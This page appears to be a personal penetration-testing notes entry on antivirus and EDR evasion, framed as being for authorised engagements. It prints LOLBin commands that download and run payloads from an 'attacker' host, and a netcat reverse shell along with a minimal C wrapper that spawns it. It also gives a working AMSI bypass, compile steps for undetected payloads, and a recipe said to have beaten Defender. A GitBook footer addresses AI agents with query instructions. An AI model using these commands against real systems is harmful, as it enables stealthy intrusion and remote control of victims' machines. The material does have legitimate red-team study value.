> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/av-evasion-fundamentals.md). # AV Evasion Fundamentals ### What is AV Evasion? Antivirus and EDR (Endpoint Detection & Response) tools detect malicious code through signatures, heuristics, and behavioural analysis. AV evasion is the practice of modifying payloads or techniques so they bypass these detection mechanisms during authorised penetration testing. *** ### How AV Detects Threats #### Signature-based detection The AV has a database of known malicious byte patterns. If your file contains a matching pattern, it's flagged. This is the oldest and most common method. #### Heuristic detection The AV analyses code behaviour without a known signature. If it looks like shellcode injection, process hollowing, or unusual API calls, it gets flagged. #### Behavioural / EDR detection Monitors at runtime. Watches for suspicious actions like spawning child processes, writing to unusual paths, reading LSASS memory, and so on. *** ### Common Evasion Techniques #### 1. Use trusted binaries (LOLBins) Living Off the Land Binaries — built-in Windows tools that can execute code. ```powershell # certutil to download a file certutil -urlcache -split -f http://attacker/file.exe C:\Temp\file.exe # mshta to run HTA file mshta http://attacker/payload.hta # rundll32 to execute a DLL rundll32.exe shell32.dll,Control_RunDLL payload.dll # regsvr32 (squiblydoo) regsvr32 /s /n /u /i:http://attacker/payload.sct scrobj.dll ``` These work because Windows itself runs them, making detection harder. #### 2. Compile with lesser-known compilers Common tools like msfvenom payloads are heavily signatured. Compiling with uncommon compilers produces different byte patterns. ```bash # Zig compiler (used in NanoCorp writeup) zig cc main.c -target x86_64-windows \ -ffunction-sections \ -fdata-sections \ -s \ -o payload.exe # MinGW cross-compile from Linux x86_64-w64-mingw32-gcc main.c -o payload.exe -s -static # Go (produces clean standalone binaries) GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o payload.exe main.go ``` The `-s` flag strips debug symbols, reducing file size and signature surface. #### 3. Use nc.exe (netcat) Netcat itself is a legitimate network tool. Windows Defender typically does not flag it. ```bash # Transfer nc.exe to target, then nc.exe -e cmd.exe 10.10.x.x 9001 # Windows ``` This is why the NanoCorp writeup used a tiny C program that just calls nc.exe — the actual shell spawner is a trusted tool. #### 4. Write a minimal wrapper Instead of using a full shellcode injector, write the smallest possible program that calls your actual payload. ```c #include int main() { system("cmd.exe /c C:\\Temp\\nc.exe -e cmd.exe 10.10.x.x 9001"); return 0; } ``` This has almost no detectable patterns — no shellcode, no suspicious API imports, just a system() call. #### 5. AMSI bypass (PowerShell) AMSI (Antimalware Scan Interface) scans PowerShell scripts before execution. Bypassing it allows running malicious PS in memory. ```powershell # Classic AMSI bypass (patch in memory) [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) # winrmexec has a built-in command for this !amsi ``` #### 6. Obfuscation Changing variable names, encoding strings, splitting commands — makes signatures harder to match. ```powershell # Encoded command (base64) $cmd = [System.Text.Encoding]::Unicode.GetBytes("whoami") $enc = [Convert]::ToBase64String($cmd) powershell -EncodedCommand $enc ``` *** ### Tools Commonly Used | Tool | Use | | -------------------- | -------------------------------- | | `nc.exe` | Reverse shells, low AV detection | | `zig cc` | Cross-compile small payloads | | `RunasCs` (racs.exe) | Run commands as another user | | `Invoke-Obfuscation` | Obfuscate PowerShell | | `Donut` | Convert EXE/DLL to shellcode | | `Scarecrow` | EDR-aware payload generation | *** ### What Triggered AV in NanoCorp Standard reverse shell executables from msfvenom or common tools would have been caught by Windows Defender. The solution was: 1. Write a 10-line C program that only calls `nc.exe` 2. Compile with `zig cc` (uncommon compiler = different byte pattern) 3. Use `nc.exe` itself for the actual connection (legitimate tool) 4. Result: 19KB executable that Defender ignores *** ### Key Mindset AV evasion on authorised engagements is about reducing your attack surface — use the simplest possible payload, avoid known-bad patterns, and prefer legitimate tools wherever possible. The more complex your payload, the more opportunity for detection. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://alham-rizvi.gitbook.io/alhamrizvi/active-directory/av-evasion-fundamentals.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.